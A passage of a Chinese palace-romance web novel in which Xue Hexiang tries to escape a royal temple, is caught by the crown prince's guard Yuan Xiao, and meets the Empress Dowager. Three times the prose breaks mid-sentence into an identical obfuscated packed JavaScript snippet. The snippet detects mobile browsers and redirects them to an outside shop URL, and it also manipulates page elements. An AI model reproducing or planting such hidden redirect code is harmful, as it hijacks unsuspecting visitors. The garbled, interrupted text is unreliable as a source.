荷香依言笑道：“大姐姐，可莫要说些让我害羞的话。原本身子还没好利索，只是想着，今日要陪姐姐去皇家佛寺进香，穿得太素净，怕不妥当。” 薛玉宜替她理了理鬓边碎发：“怎么会不妥当？相府的女儿家，就该常这样打扮。走吧。” 马车辘辘驶出西城门，沿官道往普度寺去。 到山门前时，日头已升高了许多，照得寺门前古木参天，苍翠欲滴。 知客僧早早在阶下候着，合十行礼，引着薛家主仆一行穿过大雄宝殿，往西侧偏院去。 薛玉宜走在最前头，步履轻快，藏不住眼角眉梢的期待。 宝琴落后，捧着个沉甸甸的锦盒。 “妹妹，”薛玉宜回头柔声道，“你先随师父们去偏院歇着。后山禅院清静，我先去替祖母上炷香。等安置妥当了，再让人来请你过去说话。” 荷香心里明镜似的。 等安置妥当，太子便已进了禅院，她这个做妹妹的自然越晚过去越好。 “姐姐只管去忙，不必管我。” 西偏院专供女眷歇息，几间禅房掩在竹林后，阶下青苔茸茸，一株老杏树正开到最盛，花瓣落了满地，踩上去软软的。 “薛小姐，”知客僧推开东首一间禅房的门，“这间是给您备的，茶水已送来了。” 荷香道了谢，正要跨进去，忽而听见一阵脚步声从竹林那头传来。 她抬起头。 竹影里转出一个人来。 暗龙胆紫配云纹直裰，腰束玉带，一双眼尾上挑的凤目，什么都不屑于放在心上。 眉骨削削，轮廓分明而不粗犷，倒有几分异域的艳色。 他往杏花树下一站，满树粉白忽然成了虚化的背景。 这便是薛玉宜的心上人，太子邬晏。 荷香在阶前屈膝行礼：“殿下万福。” 邬晏的目光落在她身上。 三月杏花正盛，荷香站在漫天飞舞的花瓣里，裙摆被山风吹得轻轻拂动。 那身黛粉裙装衬得她像一株刚舒展开的花苞，肤色白得近乎透明。 眼睛又黑又亮，卧蚕弯弯，瞳仁里映着杏花与熹微，深山溪水，落花于其中，不外如是。 邬晏没有立刻叫起。 而是遥遥望着阶下屈膝的少女。 他见过薛家的表姑娘许多次。 相府年节的家宴、宫中大宴，以及薛玉宜身后半步远的地方。 可今日，站在杏花影里，黛粉裙裾被风吹起，邬晏忽然觉得，有什么东西扯紧了心口。 说不清、道不明。 生来，仿佛就是这般，近乎疼痛的熟悉感。 少女穿着这样鲜嫩的衣衫，站在花树下，朝他行礼，然后抬起头来，用那双黑亮的深情眼望着他。 只是梦里的她，眼睛里似乎有泪，不像此刻这般平静无波。 “五妹妹不必多礼。”邬晏说。 荷香起身，垂着眼帘没有看他。 邬晏的目光却还留在她身上，说：“五妹妹，今日这一身，很衬你。” 这话说出口，连身后的侍卫都怔了一下。 太子并非沉溺女色之人，除了早逝的生母，倒从没有人被他夸赞过穿戴。 可方才，那语气，无外乎脱口而出，没经过任何掂量与权衡。 荷香却当他在客套：“殿下过誉。臣女不过是随大姐姐来上香，不敢得此谬赞。” 又是这般，胆怯、温顺。 邬晏唇角那点弧度滞住，忽然觉得有些烦躁。 她每次见他，都像在背书—— 殿下万福，不敢与大姐姐相比，臣女告退。 字字句句，恭顺周全，每个字都在把他往薛玉宜那边推。 …… 荷香望着背影消失在竹林尽头，方才缓缓松下神色。 少女走进禅房，在床沿坐下，伸手按了按腰间。 外头的裙裳依旧平整光鲜，底下的束口裈纹丝不乱，宫绦勒住的腰身细细一捻，裙摆一遮，什么也看不出来。 这是她给自己留的后路。 穿最鲜亮的衣裙，扮最乖巧的表小姐，然后趁所有人都不注意的时候，把裙子一撩，撒腿就跑。 另一头，邬晏独自行过青石长廊。 杏花树下那个画面还残留在脑海里，挥之不去。 他不喜欢失控的感觉。 今日本就该直接去寻薛玉宜。 相府的支持是他苦心经营多年的局面，不能因选秀的风声与谢家的催婚功亏一篑。 可一进寺门，脚步便自己拐向了西侧偏院。 他在石阶上站定，抬头望了眼掩在苍松间的后山禅院飞檐。 薛玉宜还在等他。 邬晏理了理袖口，迈步而上，却在路过廊下时，对身侧一个年轻侍卫吩咐。 “西偏院那位五姑娘，替本宫看着些。” 那侍卫抱拳应是，退入廊柱的阴影里 后山禅院中，薛玉宜已等了许久。 见邬晏推门进来，连忙起身，面上又是欣喜，又是委屈：“殿下万福。殿下为何才来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550944|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？臣女还以为……” “路上耽搁了。”邬晏在她对面落座，语气如常的淡，“选秀的风声，相府打算怎么应对？” 薛玉宜一愣，委屈更浓了几分，咬着唇道：“母亲想让我选秀，可谢家又来催婚。我实在不知该怎么办。” 她抬起眸子，眼底蓄着泪，水光盈盈：“殿下，您到底什么时候进宫请旨？” 邬晏望着她，恍然间，又想起薛荷香那双眼睛。 温驯底下藏着疏远，恭顺里头全是距离。 而薛玉宜的眼睛里只有想要的东西。 他忽然觉得好无趣。 “本宫自有安排。” 大雄宝殿的寺钟长鸣，浑厚悠长。 荷香在禅房中睁开眼。 方才邬晏离去后不久，莲心便去打探了消息。 留守寺门口的护卫已换过一班，车夫在马厩里打盹，西北角那道小门无人把守。 “姑娘，咱们走不走？”莲心小声问。 荷香走到窗边望了望，后山禅院的飞檐掩在松柏之间。 薛玉宜此刻正和邬晏共处一室，旁人都不得近前。 这正是她等的机会。 荷香低头看了看自己这身打扮。 黛粉的裙，雪白的纱，玉环叮咚。 这副模样走在山路上，十里外都能被认出来。 “把外头的脱了。”她说。 两人快手快脚地卸了外罩的褙子和纱衫，脱了那条叮咚作响的银粉宫绦。 黛粉云锦层层落下，露出底下那套早已穿好的蟹壳青短襦与束口长裈。 莲心替她套上一件半旧的藏蓝粗布褙子，腰间系一条麻绳充作腰带。 镜中人干净利落，不过是大户人家体面些的婢女，和先前那个杏花树下的小仙子判若两人。 两个人贴着墙根出了禅房，穿过回廊尽头的月亮门，拐进通往西北角的碎石小径。 小门虚掩着，门闩已锈，推开时只低哑地吱嘎叫。 门外，是一条被踩出来的土路，蜿蜒通向山下。 荷香步子又轻又快，束口裈在脚踝处收拢，半点不拖泥带水，腰间双带系得紧，走快时稳稳当当。 她们沿土路走了约莫一炷香的功夫。 身后始终没有声响，土路尽头与官道相接，再往西走不远便是徽乡镇的渡口。 可荷香却觉得不对。 风摇竹叶，哗哗作响，似人在暗处挪步。 荷香蓦然停下脚步，伸手将莲心拦在身后。 林子里光线幽暗，竹影层层叠叠，起初什么也看不见。 可随后，眸光中心，一道修长人影靠在老竹上，双臂环胸，腰侧佩着一把窄长的刀。 他穿着东宫亲卫的玄黑武袍，却没有戴头盔，乌黑的长发散散拢在肩后，几缕碎发垂落在眉眼间。 年纪很轻，不过十八九岁，面容生得清秀甚至阴柔。 他一直在看她。 像在暗处蹲守了许久的猫终于等到了一只蝴蝶，嘴角甚至弯着。 懒洋洋的、意味不明的笑。 莲心吓得倒抽一口凉气。 “薛小姐。”那少年侍卫开口了，“可是寺里头的斋饭不合您的胃口？怎么走这么急。” 见荷香没有应声，元笑又说。 “属下姓元，单名一个笑字。殿下身边跑腿的。” 少年站直了身子，往前迈了一步，腰间那柄窄刀在衣摆下若隐若现。 “殿下吩咐属下，照看五姑娘。属下不敢怠慢，便在林子里候着。没想到，五姑娘从偏门出来了。” 邬晏居然派了人盯着她！ 6. 元笑 而这个盯梢的人，偏偏是个不按规矩说话的。 “原来是元侍卫。”荷香那双乌溜溜的眸子里已是惶恐，声音又轻又软，“我方才有些头晕，想出来走走，不知怎么就走到这后山来了。” 元笑歪着头看了她片刻。 他当然知道她在说谎。 一个头晕的人换什么粗布衣裳。 哪个大家闺秀会带着丫鬟走这么远的路？ 可元笑并不急着戳穿。 他喜欢看荷香这幅模样—— 娇娇怯怯，天真无邪，说谎说得比真话还真。 “头晕啊。”他恍然大悟似的点点头，“那属下送五姑娘回去休息。” “不劳元侍卫了。”荷香咬牙道。 眼见计划就要成功，偏在这最后一步被拦住了。 要是这少年侍卫凶一点倒好办。 可他就站在那儿，笑嘻嘻的，让人连发脾气都找不到由头。 “要的。”少年笑起来，露出一颗小小的虎牙，笑容干净无害，“属下奉命照看五姑娘，自然要把五姑娘好端端地带回寺里去。不然殿下问起来，属下不好交差。” 这话说本在理。 但当元笑的注意力又滑到脚上那双沾了泥的绣鞋上时，荷香感到些许微妙的危险。 那目光黏得很，湿漉漉的。 “五姑娘这身衣裳倒是别致。”元笑轻呵一声，“方才在寺里见姑娘穿黛粉，好看极了，站在杏花树下，像是哪路神仙妃子落了凡。怎么这一会子就换了呢。” 荷香懒得理他。 方才在竹林子里对他笑的那点好脸色早就没了。 谁有心思跟一个拦自己路的侍卫闲聊。 可这人偏生不识趣，自己凑上来。 “衣裳嘛，出门在外总要多备几套。”她敷衍道。 腰间麻绳松了半扣，荷香抬手拢了拢，没系紧。 山道不平，绣鞋踩在碎石子上，一步一滑。 一时之间，没走两步，绣鞋便踩上一块松动的石头，身子蓦然往旁边倾倒。 好在，元笑抢上一步扶住她，掌心稳稳托着小臂。 荷香站直了，他却没有松手。 闺阁小姐的胳膊很细，隔着粗布，也能感觉到底下的温热。 荷香低头看了看扶着她的手，又抬眼看少年。 幼犬般明亮的眼眨了眨，似笑非笑—— 咦，你还没松开。 元笑触电般松了手：“当心脚下。” 荷香一下明白了什么：“你怎么，比我还紧张。” “你叫元笑？”荷香问。 “是。” “这名字真好。”她说，“你爹娘一定很疼你。” 元笑怔了一瞬，刚想开口反驳。 荷香却继续向前，问：“元侍卫，你是哪里人？” “……蓟州。” “蓟州。”荷香状似思考，心里立刻将眼前人，和邬晏前世那群戴着面具的亲卫对上号，“蓟州的柿子好吃。” 相府的表小姐，见了太子都不肯多说两句话，此刻却跟他讨论蓟州的柿子。 “是很甜。” 元笑迟疑一息，还是应了声。 这五姑娘，方才还懒洋洋的，突然变了性子，倒叫他不知道怎么接。 心里头，却是盘算着，再也不要和这表小姐，有半分牵扯。 见色起意罢了，若不止住情，他要如何留在太子身边？ 荷香满意地点点头，仿佛少年印证了她的判断，是一件让人高兴的事儿。 她走了几步又回头：“元侍卫，你功夫好吗？” “……尚可。” “尚可。”小姑娘学他的语气，然后摇头，“你肯定在谦虚。” “你们东宫的侍卫，是不是个个都像你这样？”荷香随口问。 “什么样？” “话少、脾气差，”荷香想了想，“不过你还多一样。” “……？” “你笑起来有虎牙。”荷香语气认真得很，“看得又好看，这点，比他们强多了。” 闻言，元笑抿紧了嘴唇。 这位五姑娘，当然不知道那个笑里藏着多少不算磊落的心思。 只觉得他笑得好看。 这让少年胸口莫名堵得慌。 他明明拦了她的路，搅了她的计划。 她难道不该怕自己，或者至少离远点？ 总不该，和如今这般，像戏弄路边冲她摇尾巴的小狗一样，逗弄他。 元笑忍不住问：“五姑娘，你不怕我么？” “怕你？”荷香回头看他，眼睛瞪得溜圆，像是听到了什么荒唐话，“你又没凶我。你要是凶我，我就去找殿下告状。” 语毕，莲心在一旁吓得脸都白了。 哪有这样跟侍卫说话的。 元笑落后几步，望着少女亭亭的背影。 他想，若五姑娘今日真的逃成了。 她会在运河上搭一条船，坐在船头看两岸的柳树，跟划船的艄公聊天，问人家家乡的柿子甜不甜。 她会把所有人都当成好人，因为在小姑娘眼里，坏人实在太少了。 这样的人不该待在京城。 可她逃不掉。 因为有自己在。 元笑垂下眼，望着自己握刀的手。 他开始后悔，阻拦时，为何莫名对她笑了一下。 …… 偏院已在眼前。 杏花树下，一人负手背立，不知等了多久。 “殿下万福。”荷香屈膝行礼。 邬晏垂眸。 他在偏院等了一刻钟。 西禅房空着，茶水尚且残留余温。 而他站在空房间里，先是觉得恼怒，然后那恼怒还没成形，就被另一种更不痛快的东西盖了过去。 薛家这位表姑娘，宁愿穿着粗布衣裳从偏门溜走，也不愿待在有他在的地方。 此刻，荷香站在他面前，衣襟松散，腰间系着麻绳，脸上却没有半分心虚。 “去了哪里。”他问。 荷香认认真真，很是严肃道：“屋子里闷，就出去走了走。” 邬晏向前，一步之遥，把两人的距离拉的极近。 荷香的睫毛垂着，在眼睑下投了两小片淡淡的阴影。 她被山风吹了这半天，鼻尖有点发红，双颊因赶路发红，倒显得那张小脸更白了。 邬晏本来是要质问这位将来的妻妹的。 换衣裳、带包袱，找偏门，走山路。 每一件，摆在嘴边。 只需问出口，若荷香答不上来，就算立时锁了她送回相府，也是名正言顺。 可那些话到了嘴边，一个字都出不来。 “普度寺的山路不好走。”他听见自己说，“后山有野彘，竹林里会窜蛇。你带的那点干粮，不够走到渡口。” 荷香讶然，揪紧了衣物。 眼前人什么都知道。 甚至知道她舍近求远，避开官道抄竹林，想从山后那条土路绕去渡口。 可这语气，又活像是荷香今日跑不成，以后也还能跑。 荷香本能地感到不适应。 邬晏…… 在成亲之前，是这样对心上人的妹妹的吗？ “以后想去哪里，跟本宫说。” 荷香眨眨眼，没反应过来。 可等到听清楚那句话后，心酸的涩苦便涌上心头。 她没料到他会说这个。 前世，嫁进东宫三年，殿下从不用这种语气说话。 邬晏总是冷着脸，话挑最硬的讲，连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550945|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吩咐她做什么，都是你爱做不做的口气。 荷香想，他大概也不知道自己在做什么。 他还是那个不会说软话的邬晏，只是比以前更笨了，笨得连质问都不会了。 “殿下，”她低下头，“臣女告退。” 荷香走进禅房，莲心凑过来，怯怯道：“姑娘，殿下他……” “没事。” 荷香把脸埋在臂弯里，闷了好一会儿。 莲心不敢再问，轻手轻脚地去铺床。 禅房外头杏花还在落，花瓣随着春风，扑簌簌打在窗纸上。 荷香声音闷闷的：“莲心。” “奴婢在。” “把那条黛粉裙子收好，别弄皱了。” 莲心应了一声，去收拾散在床沿上的衣裙。 荷香望着她的动作。 想起方才在杏花树下，邬晏替她拢领口时，发颤的指尖。 她见过他发怒、冷笑，居高临下地睨着天下人。 独独没见过他发抖。 邬晏，朝堂上被多少人恨得牙痒，又从没人能撼动半分的东宫。 他凭什么发抖！ 就因为她换了身衣裳想溜走？ 荷香把下巴搁在膝盖上。 她不想可怜他。 前世自己躺在东宫偏殿，咽下最后一口气时，他在哪儿？ 在御书房批折子，还是去边关了？ 荷香不记得了，只记得那天，东宫下了好大、好大的雪。 白茫茫的漫天雪意，掩盖了她的爱、恨、嗔痴。 好烦，荷香想。 不是烦他，而是自己。 居然觉得那话说得，是那么可怜。 莲心叠好衣裙，回头见姑娘发呆，小声问：“姑娘，咱们还走吗？” “今日走不成了。”荷香躺下来，把被子拉到下巴，“明天的事，明天再说。” 外头传来打更的梆子声，已经是二更天了。 后山禅院里，薛玉宜还没有歇下。 宝琴又添了一回灯油，薛玉宜坐在灯下，手里捏着那支赤金衔珠步摇，有一下没一下地转。 珠子在灯下折出细碎的光，晃在她脸上，明明暗暗的。 “宝琴……你去西偏院时，看见什么了？” “回小姐，奴看见太子殿下站在西院里等五姑娘。殿下问她去了哪里，五姑娘回过后，殿下……”宝琴咬咬牙，“殿下替五姑娘拢了衣领。” 步摇一停。 薛玉宜垂眼：“宝琴，你觉得五妹妹好看吗？” 一时之间，宝琴不知该怎么答，支吾了半天，才说：“五姑娘是江南来的，生得白净。” “是啊。”薛玉宜似乎也很赞同，“江南来的，生的自然是个美人儿。” 她重新拿起那支步摇。 黛粉云锦，玉环叮咚。 荷香站在晨光里，跟枝头刚绽的花苞似的。 她当时只觉得，打扮得越得体越好，旁人便不会疑心这趟出行的真正目的。 可太子不是旁人。 “可我待她还不够好吗！” 薛玉宜扔了步摇，回头直勾勾地凝望着宝琴，眼中泪水将落不落。 荷香进府六年，自己送过多少衣裳首饰，在偏房面前替她说过多少次话。 薛玉宜当然对荷香好。 只是这份好有一个前提。 荷香不能碍她的事。 眼下，荷香已然碍了她的眼。 即便那并非出于对方的真心，可身为相府的女儿，薛玉宜同爹一样，唯结果论事。 倘若东宫未来的女主人不是她…… 薛玉宜也不介意，让娘亲自为她这位表妹妹的好婚事把把关！ 薛玉宜把步摇插回鬓边，说：“明日回府，早些歇着吧。” 7. 太后 烛火吹灭，主仆二人静卧厢房。 可莫名的念头，从方才起，就伏在薛玉宜心底。 此时此刻，它已扎根入骨，可薛玉宜，没法子。 谁叫这普度寺是皇家寺院，香火太盛，熏得每一桩心事，都藏不住。 大殿里的佛坐看人世，不言、不语、不嗔、不妄。 可跪在蒲团上的人，各有各的所求，各有各的执念，檀香缭绕升起的烟裹挟住每一张脸。 面容在香火中模糊，人影幢幢，看不真切。 欲念代替了五官。 贪，嗔，痴，怨憎会，恨别离。 她，也是跪在蒲团上的那一个。 …… 次日清晨，荷香醒得很早。 厢房外，杏花落了一宿，石板上铺了薄薄一层粉白。 荷香坐在妆台前梳头，篦子梳过发尾时打了结，她一边慢慢解开，一边想着昨日的事。 莲心从外头端了热水进来，放下铜盆，凑到耳边，说：“姑娘，奴婢方才去厨房要热水，瞧见宝琴姐姐，眼圈红红的，像是哭过。” “……大姐姐，骂她了？” “倒不像。宝琴跟奴婢诉苦，说大小姐一整夜翻来覆去没怎么睡，天快亮了才合眼。昨晚上，把那支赤金衔珠步摇搁在枕头底下，硌得慌，也不肯拿出来。今早起来，又自己插回鬓边了。” 荷香把篦子搁在妆台上。 那支步摇是邬晏去年上元节送的。 薛玉宜戴了小半年，走到哪儿，都要特意理一理发丝，让珠子晃一晃。 如今倒是舍不得扔，又看着心烦。 “去把那件淡青对襟衫子找出来。今日寺里可能不太平，穿规矩些好。” 莲心应声去翻箱子。 荷香望着铜镜里的自己，想了想，又从妆奁里拣了一支素银钗。 前世，太后驾临普度寺是在哪天，她已记不清具体日子了。 但那天之后，她的命就拐了个弯。 若这一世，也有这一出，合该在今日 “姑娘，衣裳找出来了。” “不急。”荷香站起来，“先去后山禅院瞧瞧大姐姐吧。” 后山禅院里，薛玉宜坐在铜镜前，穿了件家常的藕色衫子。 脂粉未施，眼底下两痕青影被太阳一照，些许疲惫。 “小姐昨夜没歇好，今儿个又起这么早。”宝琴小声嘟囔，“要不奴婢去回了五姑娘，说小姐还没起——” “不必，”薛玉宜将写好的信件递给旁边的家仆，说，“让她进来，我有话问她。” 荷香进来时，薛玉宜正从宝琴手里接过茶盏。 她挑眉望向荷香。 淡青衫子，素银钗，通身上下挑不出半点错处。 这身打扮比昨日那身黛粉素净多了，也稳妥多了。 可她看着，却觉得心头那股说不清的气，又顶了上来。 昨日的黛粉是给谁看的。 今日换回素净又是给谁看的？ “妹妹昨晚歇得好吗。”薛玉宜抿了口茶，语气平平。 “换了地方，自然有些睡不踏实。”荷香在她对面坐下，“大姐姐也是，眼下有青影了。” 薛玉宜没接这个话茬。 她放下茶盏，挥手让宝琴退下。 禅房里只剩姐妹二人，窗外杏花还在簌簌地落，偶尔夹着几声晨鸟清鸣。 薛玉宜开口：“表妹妹……昨日殿下在偏院，跟你说了什么？” 荷香一五一十答：“殿下问我去了哪里。我说屋子里闷，便出去走了走。” “就这些？” “殿下还说山路不好走，让我以后别一个人走那么远。” 荷香一点谎也没撒。 平心而论，她只是太子未来的妻妹罢了。 前世，终究是过去。 听完，薛玉宜倒是没什么反应，她垂眸，又问：“荷香妹妹，你说，太子待我如何？” 荷香哑然，乌黑的眼瞪圆了些。 她忽然觉得，薛玉宜和自己，都可怜。 她们都是被困在情局里的人，明明知道答案，偏生不死心，还要问一遍旁人。 “殿下待姐姐自然是好的。”荷香轻声说，“姐姐与殿下相识三年，这情分旁人可比不了。” 薛玉宜听了这话，唇角弯了弯。 她自己也知道，这句话里多少是安慰，可，还是愿意听。 这位嫡长姑娘，需要有人告诉她，那三年，并非一厢情愿。 “那妹妹觉得，殿下是个什么样的人？” 荷香沉默了一息。 这个问题前世从没有人问过她。 嫁给邬晏之前。 人人都说太子冷面冷心，是朝堂上最难缠的主儿。 嫁给他之后，她发现那些人说得都对！ 只是不全对。 他不光对朝臣冷，对谁都冷。 在东宫里，恨死了她这个阻拦他与姐姐的表小姐。 所以，用零零碎碎的恩惠来填补良心的窟窿。 却从不关心，她能否在东宫活下去。 “殿下，”荷香垂下眼帘，“是个好人，亦或是坏人？荷香都不清楚。” 薛玉宜笑了：“你这丫头，倒是会打马虎眼。” “大姐姐，”荷香在离去时，还是开了口，“今日寺里若有什么事，姐姐……打算怎么应对？” “能有什么事？”薛玉宜理了理袖口，“我是相府嫡长女，来寺里祈福，名正言顺。 “那殿下也在这里呢？” 薛玉宜手指一顿，说，“殿下在这里，自然也是来进香的。殿下与相府的关系，满朝皆知。妹妹不必担心这些。” 她并不觉得会有什么事情发生，只觉眼前的少女杞人忧天。 “倒是妹妹你，若真有什么事，在太后面前切莫多说一个字。一切有姐姐在。” 荷香温顺点点头。 她比任何人都清楚太后的厉害。 …… 饭过午后，金灿的阳光洒满了山岩。 薛玉宜枕着脑袋，半昏半醒地瞧着小丫头片子们整理待会儿要回府的东西。 宝琴却突然闯进门来，脸色煞白：“小姐！不好了，太后娘娘来了！” 薛玉宜手里的茶盏晃了一晃，茶水泼出来，飞溅在袖口上。 藕色衫子洇开一团深色水痕，宝琴慌忙上前要替她擦，薛玉宜却抬手止住了。 她把茶盏搁在桌上，瓷底磕出一声脆响。 “慌什么！”薛玉宜站起来，“太后驾临是福气，替我更衣。” 宝琴连忙应声。 薛玉宜走到铜镜前，仔细理了理步摇，又拉平了衣襟上的褶皱，动作不疾不徐。 可宝琴连给换了两身衣裳，她都不满意。 最后，还是穿了初见太子时的藕荷色织金褙子。 与此同时，前山已经翻了天。 方丈领着阖寺僧众跪了一地，禁卫十步一岗将前后山封得严严实实。 太后今日是微服来上香的，只带了掌事宫女和禁卫统领。 她扶着宫女的手，缓步踏进大雄宝殿，上了三炷香，合十默祷。 殿外跪了一地的僧众，鸦雀无声，唯见见铜铃在檐角叮叮当当。 半晌后，太后走出大雄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550946|204338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宝殿，往西偏院的茶室去歇息。 随行的禁卫统领早已将寺院上下的人员册子呈了上来，贴在太后耳边低低说了几句。 “太子也在此处？” “回太后，太子殿下昨日来此静修。随从只有两名亲卫和一个侍卫。” 太后敏锐眯起眼。 静修？ 她停住步子，不由思考。 却蓦然听见，不远处，两个洒扫的小沙弥躲在廊柱后头，低声细语。 “……薛家的马车还在后山停着呢。昨儿来的，大小姐和表小姐都来了。” “太子殿下昨日也来了，这也太巧了吧。” 太后侧过身子，点点头。 身边的掌事嬷嬷立刻上前一步，将那两个小沙弥唤了过来。 小沙弥吓得浑身发抖，跪在地上不敢抬头。 “薛家？” “回、回禀太后，是宰相薛家的女眷。大小姐和表小姐，昨日来寺里进香，在后山禅院歇了一夜。” 宰相薛家的嫡长女，她记得。 从前，太子也在她跟前透过，要娶薛家女的意思。 至于那位表小姐，太后一时对不上号。 只隐约记得，薛家有个江南来的外姓姑娘。 可太子静修和薛家女眷的进香，偏生撞在同一天、同一座寺。 太后活了这么大岁数，不信巧合。 “去后山。”太后扶了宫女的手，道，“哀家也好些年没见过薛家的姑娘了。” …… 太后在禅房中用了半盏茶，两位姑娘便到了。 薛玉宜今日华贵无双，藕荷色织金褙子衬得她明艳大方，通身上下是世家嫡长女的气度。 荷香站在她身后半步，安静得几乎不起眼。 可太后偏生多看了她一眼。 这姑娘站得规规矩矩，眉眼低垂，看上去温驯乖巧，却不怯。 “哀家听说你们昨日就来寺里进香了。”太后语气悠然清闲，“你祖母身子可好？” 薛玉宜恭声答道：“祖母近来身子硬朗，只是春日乍暖还寒，不便出门，特命我来替她在佛前点一盏长明灯。” 太后点点头，又问了几句寺中起居。 薛玉宜一一回了，语气端方，姿态从容。 太后颔首，注意力落向荷香，问：“相府的表姑娘，倒是面生。哀家听说，你是江南来的？” 荷香行礼回话：“回太后，臣女祖籍扬州，六年前来京中投奔舅父。” 太后端详了荷香片刻。 这姑娘生得一双好眼睛。 乌溜溜的，卧蚕弯弯，看人时，目光又清又正。 在她跟前，多少世家闺秀都恨不得把一身的机灵劲儿全抖出来。 这位表小姐，却像是根本不在意她这个太后的看法。 太后收回目光，端起茶盏抿了一口，又问了薛玉宜几句闲话。 今日，在寺中撞见太子，又碰见薛家的女眷，绝不是巧合。 邬晏是她名义上的孙儿，亦是大临的储君。 可他不是邬君雪的亲生骨肉。 当年先帝子嗣单薄，从旁支宗室里抱养了邬晏，立为皇太孙。 彼时邬君雪尚未登基，这件事便由先帝一手办了。 后来邬君雪开国称帝，江山是他一手打下来的，太子的名分却是先帝定下的。 邬君雪虽不提废立之事，可他也从不掩饰对这个养子的冷淡。 因而，朝中不少有人私下议论—— 陛下正当盛年，后宫虽空，焉知日后不会诞下亲子？ 到那时候，这储君之位还能不能安稳，谁也说不准。 8. 混不吝表兄 作为帝主邬君雪的生母，太后的尊荣，全系于这个儿子。 江山是邬君雪打下来的，她不过是沾了儿子的光。 在她看来，邬家的社稷，必须由邬家真正的血脉来继承。 可邬君雪这个人，权力欲望极重，对后宫却冷漠到近乎苛刻。 登基三载，选秀选了两次，他连秀女的面都不肯见。 太后急在心里，又不能明着逼他。 她唯一能做的，就是趁自己还能在后宫说上话的时候，为将来铺路。 最好的法子，就是给邬晏选一个没有强势母族的太子妃。 既安了朝廷的心，又不会让太子借妻族之势，于皇朝坐大。 至于薛家，原本不在她的考虑范围内。 宰相薛家是望族。 嫡长女薛玉宜若是嫁给太子，太子便有了相府做靠山，日后更难撼动。 可今日，她瞧见荷香，心里却觉着因祸得福，有了新的计较。 同样是薛家的姑娘。 一个是顶顶尊贵的嫡长女，一个是寄居无势的表小姐。 若论好拿捏，这位表小姐比薛大小姐强了不知多少。 太后想到这里，难得露出一点笑意：“哀家瞧着，这位表姑娘倒是个稳当的性子。” 她放下茶盏，又对薛玉宜道：“你祖母身边，有她侍奉，想必省心不少。” 薛玉宜恭声应道：“太后说的是。荷香妹妹性子沉静，祖母常夸她懂事。” 她面上含笑，语气亲热，仿佛真心实意地替妹妹高兴。 可手心，却暗自掐紧了些。 太后深居后宫，鲜少夸人，怎会无缘无故夸一个外姓的表小姐？ 这份突如其来的赏识，让薛玉宜那点儿不安，又翻涌了上来。 昨夜的念头，愈发根深蒂固。 但好在，太后没有再看荷香，转而起身道：“时候不早了，哀家还要回宫。你们姐妹二人也早些回府，莫让你祖母挂念。” 邬晏坐在一旁，一言不发。 瞧见太子这般桀骜不驯，太后默默冷嗤一声。 “你随哀家一道回宫。静修固然好，朝中的事也不能撂下。” 邬晏低下头，躬身应是。 一行人出了后山禅院。 …… 大临名门望族，大多比不上薛相。 光是相府，便占了永宁巷大半条街。 正门是三间五架的朱漆大门，门钉纵横各七，门槛高过膝盖。 门楣上悬着先帝御笔亲题的匾额，门前两尊石狮，鬃毛卷曲，怒目圆睁。 而西角门，则是内眷日常出入的便门。 门房扯嗓子喊：“大小姐回府——” 两个看门的小厮便连忙卸了门槛，将马车引进去。 一进西角门，迎面便是一道粉墙影壁。 壁上雕刻的，是刘海戏金蟾。 金蟾口中衔着一串铜钱，铜钱上刻着福寿康宁四个吉利字。 据说，这是老太爷在世时，请江南名匠花了好几年功夫雕成的。其中，金蟾眼睛嵌的是两粒墨玉，雨天会发亮，像真的一般。 再往里走，穿过一道道垂花门，便是姑娘们住着的内宅了。 …… 用过晚饭，又到了薛荷香给老太太院里请安的时间，外头，蓦地响起一阵急促的叩门声。 莲心去应门，片刻后，脸色发白，回禀道：“姑娘，大公子从国子监回来了。” “有别院的丫头说，大公子收了大小姐在寺里写的信，知道大小姐受了委屈，正在大房那边闹。” 莲心连忙给姑娘整理好披帛：“大太太让姑娘这就过去！” 大公子薛珏。 薛玉宜的同胞弟弟，相府唯二的嫡子。 前世，她与这位表兄打的交道不多。 只记得他性子骄横，被大太太惯得不成样子。 在荷香及笄前，没少抛开薛玉宜的面儿，找别的公子欺负她。 现在看来，这位表兄，堪堪在国子监读了几年书，学问没长几分，脾气倒涨了不少。 “知道了。”荷香理了理衣裙，“走吧。” 大房的正院灯火通明。 还没进门，就听见里头一道少年人的声音，又急又冲：“姐姐受了这么大委屈，你们一个个倒坐得住！那荷香，算个什么东西？不过是寄在咱们家的表亲，也敢欺负到姐姐头上来！” 荷香在门口站了站，听清楚了，才跨进门槛。 暖阁里，大太太坐在上首，面色沉沉的。 薛玉宜坐在她旁边，鼻头和眼尾都染红了些，似刚哭花了小脸。 